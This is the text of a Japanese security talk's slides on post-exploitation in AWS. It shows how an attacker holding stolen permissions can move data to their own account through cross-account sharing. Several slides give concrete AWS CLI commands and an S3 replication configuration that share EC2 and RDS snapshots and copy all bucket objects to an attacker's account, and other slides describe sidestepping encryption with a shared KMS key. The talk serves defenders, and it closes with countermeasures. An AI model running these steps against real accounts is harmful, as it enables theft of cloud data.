Abuse of Data Transfer between Cloud Accounts

2022/10/5にMBSD勉強会にて登壇した際の資料です。

1. Abuse of Data Transfer between Cloud Accounts @tigerszk MBSD勉強会 2022/10/5
2. Shun Suzaki(洲崎 俊) 三井物産セキュアディレクション株式会社に所属 ペネトレーションテストなどを中心としたセキュリティサービス提供に従事 コミュニティ運営・ITイベント開催などをライフワークとするお祭り好きのPentester I‘M A CERTAIN PENTESTER! 公開スライド : http://www.slideshare.net/zaki4649/ https://speakerdeck.com/tigerszk Blog :http://tigerszk.hatenablog.com/ 著書（翻訳）：詳解HTTP/2、ハンズオンWebAssembly Twitter： とある診断員@tigerszk 自己紹介
3. Post-Exploitationについて 今回の内容はクラウド環境におけるPost-Exploitationフェーズ の攻撃手法についてのお話です。 ここでのクラウド環境におけるPost-Exploitationフェーズにつ いては、何らかの要因によってクラウドプラットフォーム側の 制御を攻撃者に奪われている状態を指すこととします。 Post-Exploitationとは？ 「標的がExploitされた後の行動」つまり、一般的には侵入後の攻撃者 による侵害などの活動を意味します。
4. AWS環境におけるPost-Exploitation AWSであれば例えば以下のような状態が考えられます。 状況 原因の例 攻撃者にマネジメントコンソール を不正利用されている • パスワードクラック・フィッシングなどに よるID/PASS経由での不正ログイン • Cookieの奪取（Pass-the-cookie） 攻撃者にアクセスキーを不正利用 されている • 外部へのアクセスキーの漏洩 • 脆弱性を悪用され、アクセスキーを奪取
5. 今回のお題 ⚫ クラウド環境に対する攻撃をリサーチする中で、クラウド サービスにおけるクロスアカウント間にてデータの共有や 転送を行う機能を悪用する手法をいくつか見かけたため、 ちょっと考察してみようという趣旨のお話となります。 ⚫ 海外系の記事などでこのような攻撃手法を題材としたブロ グやツールなどが公開されていたりします。
6. 被害者のAWS環境 攻撃者のAWS環境 攻撃のイメージ クラウドの機能を悪用して 攻撃者へ環境へとデータを転送 クラウドの機能を利用して取得 したデータより機密情報を奪取 攻撃者側も自分のクラウド環境を保持することによって、その環境 を利用してより効率的に被害者のクラウド環境に対して攻撃を行う ことができます。
7. 攻撃者側もクラウド環境を利用するメリット 攻撃者側に以下のようなメリットが存在するのではないかと 考えました。 ⚫ クラウドアカウント間におけるデータ転送などの機能を悪 用することで、監視などをくぐり抜けやすくなる可能性が ある。 ⚫ クラウド環境内の機能を利用できることで、より効率的に 目的の情報を奪取することができる。 ⚫ 攻撃の一部を攻撃者側のクラウド環境側で行えるため、被 害者のクラウド環境に残す攻撃の痕跡を少なくすることが できる。
8. 攻撃手法としてはどう分類されているのか？ ⚫ MITRE ATT&CKのCloud Matrix Cloud Matrixは、Enterprise Matrixのサブセットに位置するものであり、ク ラウドベースにおける攻撃の戦術や手法がまとまっています。 https://attack.mitre.org/matrices/enterprise/cloud/
9. 攻撃手法の分類はこれっぽい？ ⚫ Transfer Data to Cloud Account Tactic: Exfiltration ID: T1537 https://attack.mitre.org/techniques/T1537/ 本文の一部を引用： Adversaries may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection. 翻訳： 攻撃者は、クラウド環境のバックアップを含むデータを同じサービスで制御す る別のクラウドアカウントに転送することで、データを盗み出す可能性があり ます。これにより、通常のファイル転送/ダウンロードや、ネットワークベー スの盗み出しの検出を回避できます。
10. 今回の本題 ということで今回は自分が一番良く触っているクラウドサービスである AWSの以下サービスにて、本攻撃手法を悪用するようなシナリオについ て検証・考察してみました。 • Amazon EC2 ご存じAWSのIaaSサービス。LinuxやWindowsサーバーを簡単 に構築できる https://aws.amazon.com/jp/ec2/ • Amazon RDS 複数のデータベースエンジンを利用でき、運用やスケーリン グなども行ってくれるAWSのマネージドデータベースサービス https://aws.amazon.com/jp/rds/ • Amazon S3 AWSが提供するWebインターフェースを持つオンラインスト レージサービス https://aws.amazon.com/jp/s3/
11. EC2における悪用例（イメージ図） 被害者のAWS環境 稼働しているEC2 攻撃者のAWS環境 ①稼働するEC2インスタンス からスナップショットを取得 攻撃者が用意したEC2 ②スナップショットを攻撃者の AWSアカウントに共有 ③スナップショットからEBSボリュームを作成し て攻撃者のEC2インスタンスからマウントして、 内部情報を奪取 稼働EC2インスタンスに直接アクセスできなくても、スナップ ショットを取得することで、EC2インスタンス内のデータを奪取す ることができます。
12. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ ec2:CreateSnapshot ◼ ec2:ModifySnapshotAttribute ⚫ 検証時のAWS CLIの実行例 EC2における悪用例（検証した内容） aws ec2 create-snapshot --volume-id <EC2にアタッチされているEBSボリュームのID> aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type remove --user-ids <被害者のAWSアカウントID> aws ec2 modify-snapshot-attribute --snapshot-id <作成したスナップショットのID> --attribute createVolumePermission --operation-type add --user-ids <攻撃者のAWSアカウントID> 稼働しているEC2にアタッチされているEBSボリュームのスナップショットを作成 スナップショットにセットしてあるデフォルトのAWS アカウントIDを削除 スナップショットのAWSアカウントIDを攻撃者のものに変更 後は攻撃者のAWSアカウントにて該当のスナップショットよりEBSボリュームを作成し、 適当なEC2インスタンスよりマウントして解析すればよい。
13. EC2における悪用例（考察） ⚫ スナップショットを取得する権限さえ持っていれば、EC2 に正規の方法でログイン（ SSH経由など）できなくても攻 撃できる。 ⚫ マウントした領域にroot権限でアクセスできるため、サー バー内の情報を簡単に奪取できる。 ⚫ 被害者環境には、スナップショットの取得と別環境への共 有という痕跡は残る。
14. RDSにおける悪用例（イメージ図） 被害者のAWS環境 稼働しているRDS 攻撃者のAWS環境 ①稼働するRDSインスタンス からスナップショットを取得 攻撃者が用意したEC2 ②スナップショットを攻撃者の AWSアカウントに共有 ③スナップショットからRDSインスタンスを復元し、 マスターパスワードを好きな値に設定 基本的にはEC2と同じ流れです。 稼働RDSインスタンスに直接アクセスできなくても、スナップショットを 取得することで、DB内のデータを奪取することができます。 ④復元したRDSインスタンに設定したパスワードで 接続し、DB内の情報を奪取 復元したRDS
15. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ rds:CreateDBSnapshot ◼ rds:ModifyDBSnapshotAttribute ⚫ 検証時のAWS CLIの実行例 RDSにおける悪用例（検証した内容） aws rds create-db-snapshot --db-instance-identifier <攻撃対象のRDSの名前> --db-snapshot- identifier victim-rds-snapshot aws rds modify-db-snapshot-attribute --db-snapshot-identifier victim-rds-snapshot -- attribute-name restore --values-to-add <攻撃者のAWSアカウントID> 稼働しているRDSスナップショットを作成 作成したRDSスナップショットを攻撃者のAWSアカウントに共有する 後は、攻撃者側の環境にて、共有されたスナップショットよりRDSを復元し、データベース インスタンスを立ち上げる。 立ち上げたインスタンスのマスターパスワードを好きな値に設定し、設定したパスワードで データベースにアクセスすればよい。
16. RDSにおける悪用例（考察） ⚫ スナップショットを取得する権限さえ持っていれば、RDS に直接アクセスできなくても攻撃が可能。 ⚫ 攻撃者の環境にてマスターパスワードを好きな値に上書き ができるため、DB内にroot権限でアクセスできる。 ⚫ 被害者環境には、スナップショットの取得と別環境への共 有という痕跡は残る。
17. S3における別アカウント間へのデータ共 有について ⚫ syncコマンドを利用してコピーする AWS CLIのsyncコマンドを利用してデータを転送する方法。 この方法を利用するには、データを転送元のS3バケットに対してs3:ListBucket、s3:GetObjectの権限が 必要であり、そもそもこの権限を持っていればそれだけで、S3バケットのデータを取得できそう。 ⚫ S3のレプリケーション機能を利用する S３バケット間でオブジェクトを同期させるための機能を利用するという方法。 こっちのアプローチ のシナリオを検討 以下の二つの方法が存在すると思われます。
18. 被害者のAWS環境 バックアップ用のAWS環境 攻撃者のAWS環境 運用するS3バケット 制限が緩いロール S3バケットのデータをレプリケーション するように設定している バックアップ先のS3バケット ①制限が緩いロールを利用され、攻撃者にレプ リケーションルールを勝手に追加 or 編集され て、攻撃者のS３バケットをレプリケーション 先に追加される。 攻撃者のAWS環境のS3バケットにレプリケーションを行うよ うに勝手に設定変更し、データを奪取します。 S3における悪用例（イメージ図） ②レプリケーションルールを元に、バッチオペ レーションが実行され、S3上に存在する全ての オブジェクトを攻撃者の環境のS3バケットに転 送され、データを奪取されてしまう。 攻撃者が用意したS3バケット
19. ⚫ 攻撃が成立する前提条件 レプリケーション時に利用するロールが存在し、なおかつ以下のように権限が緩 いものとなっている必要がある。 条件としては任意のリソース（”Recource”:”*”）に対してオブジェクトの転送を 行えるために必要な権限のポリシーが設定されていればよい。 検証時は分かりやすいように以下のようにS3FullAccessと同等のポリシーを設定 してみた。 S3における悪用例（検証した内容） { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:*", "s3-object-lambda:*" ], "Resource": "*" } ] }
20. ⚫ 被害者環境にて攻撃者が取得している必要があるIAMポリシー ◼ s3:PutReplicationConfiguration ◼ s3:CreateJob ◼ iam:PassRole ⚫ 検証時のAWS CLIの実行例 S3における悪用例（検証した内容） aws s3api put-bucket-replication --replication-configuration file://replicationConf.json --bucket ＜被害者のS3バケット＞ 被害者のS3バケットに設定されているレプリケーションルールを上書き ※replicationConf.jsonの内容は次のスライドに記載
21. { “Role”: “＜利用する被害者環境のroleのarn> ", "Rules": [ { "ID": "s3-rep", "Priority": 0, "Filter": {}, "Status": "Enabled", "Destination": { “Bucket”: “<正規のレプリケーション先のS３バケットのarn>", “Account”: “<バックアップ用環境のAWSアカウントID>",", "AccessControlTranslation": { "Owner": "Destination" } }, "DeleteMarkerReplication": { "Status": "Disabled" } }, { "ID": "s3-rep2", "Priority": 1, "Filter": {}, "Status": "Enabled", "Destination": { “Bucket”: “＜攻撃者環境のS3バケットのarn＞", “Account”: “ ＜攻撃者環境のAWSアカウントID＞ ", "AccessControlTranslation": { "Owner": "Destination" } }, "DeleteMarkerReplication": { "Status": "Disabled" } } ] } S3における悪用例（検証した内容） replicationConf.jsonにレプリケーションルールの設定を記載している。 検証時には攻撃者環境のS3バケットを指定するようなレプリケーションルールを追加している。 元々設定していた レプリケーションルール 攻撃者が新たに追加した レプリケーションルール
22. ⚫ 検証時のAWS CLIの実行例 S3における悪用例（検証した内容） aws s3control create-job --account-id <被害者環境のAWSアカウントID> --operation ‘{“S3ReplicateObject”:{}}’ --report ‘{“Bucket”:““<被害者環境のS3バケットのarn>”,“Prefix”:“batch- replication-report”, “Format”:“Report_CSV_20180820”,“Enabled”:true,“ReportScope”:“AllTasks”}’ --manifest-generator ‘{“S3JobManifestGenerator”: {“SourceBucket”: “<被害者環境のS3バケットの arn>”, “EnableManifestOutput”: false, “Filter”: {“EligibleForReplication”: true, “ObjectReplicationStatuses”: [“NONE”,“FAILED”,“COMPLETED”,“REPLICA”]}}}’ --priority 1 --role- arn ＜利用する被害者環境のroleのarn> --no-confirmation-required --region <S3バケットのリージョン> 先ほどのルールを設定しただけでも、新たにS３に書き込まれたオブジェクトは攻撃者環境のS3バケッ トへ転送される。 ルールを設定した時点で被害者環境のS3バケットに存在していたオブジェクトは転送されないため、 設定したレプリケーションルールを元にバッチオペレーションジョブを実行させてS3内のオブジェク ト全てを攻撃者のS3バケットに転送させる。
23. S３における悪用例（考察） ⚫ 前提条件としてレプリケーションに利用しているロールに 制限の緩いポリシーがアタッチされている必要があるが、 S3内のオブジェクトにアクセスできる権限がなくとも、レ プリケーションルールを変更できる権限さえあれば、S3バ ケットのデータを奪取可能。 ⚫ レプリケーションルールの変更とバッチオペレーション ジョブの実行については痕跡として残る。
24. それ暗号化すれば防げるんじゃない？ ⚫ 暗号化はこういった不正な情報の持ち出しに有効な対策と なります。 ⚫ 暗号化された状態であれば、今までの手順だけでは攻撃は 成立しません。 ⚫ 例えばEC2・RDSのインスタンスデータが暗号化されてい れば、スナップショットを作成しても、そのままだと攻撃 者のAWSアカウントに共有できません。
25. 暗号化も絶対的な対策となるわけではないの で注意 ⚫ 暗号化はこういったデータ転送などの攻撃への有効な対策 となりますが、それだけで絶対的な対策となるわけではな いため注意が必要です。 ⚫ 攻撃者がPost-Exploitationフェーズにて取得している権限 によっては、暗号化を行っていたとしても、情報が奪取さ れてしまう可能性があります。 ⚫ 例えばKMSで作成したキーは別のAWSアカウントとも共有 が可能であるため、それを利用して情報が奪取されてしま う可能性が考えられます。
26. 条件によっては暗号化されていても… 被害者のAWS環境 稼働しているEC2(暗号化) 攻撃者のAWS環境 ①KMSを利用して新たなCMKを作成し、攻 撃者のAWS環境と共有するように設定 攻撃者が用意したEC2 ④スナップショットのコピー（作成したCMKで 暗号化）を攻撃者のAWSアカウントに共有 ⑤暗号化に使用されているCMKは攻撃者の AWS環境側での利用できるため、共有された スナップショットのコピーからEBSボリュー ムを作成できる。 KMSを利用してEC2インスタンスを暗号化していたとしても、攻撃 者が条件をクリアできるような権限を取得していれば、情報を奪取 されてしまう可能性がありえます。 ②稼働するEC2インスタン スからスナップショット （暗号化）を取得 ③新たに作成したCMKを指定 して、作成したスナップ ショットのコピーを作成する。 ⑥作成したEBSボリュームを攻撃者の EC2インスタンスからマウントして、 情報を奪取
27. その他の対策 ⚫ 監視面について 攻撃者の痕跡はCloud Trailのログなどから確認できます。 本来意図しないAWSアカウントにリソースが共有されていないか という点が、ログなどの監視時に注目すべきポイントです。 ⚫ そもそもの権限の悪用を防ぐ そもそも、攻撃者に権限が悪用されている状況を避けなければなら ないのが重要です。 また、万が一攻撃者になんらかの制御を奪われてしまった場合にも、 状況を検知し、迅速に対応ができるような監視や体制面での準備も 必要と考えます。
28. まとめ ⚫ クラウドアカウント間のデータ転送の機能について、攻撃 者の目線での悪用の方法やその対策などについて考察して みました。 ⚫ 今回はAWSに焦点を当てて考察を行いましたが、他クラウ ドサービスにおいても同じようなシナリオでの攻撃があり えるのではないかと推測されます。 ⚫ クラウドサービスにおける利用者にとって便利な機能は、 攻撃者にとっても便利な機能であり、悪用されてしまう可 能性があるため注意が必要です。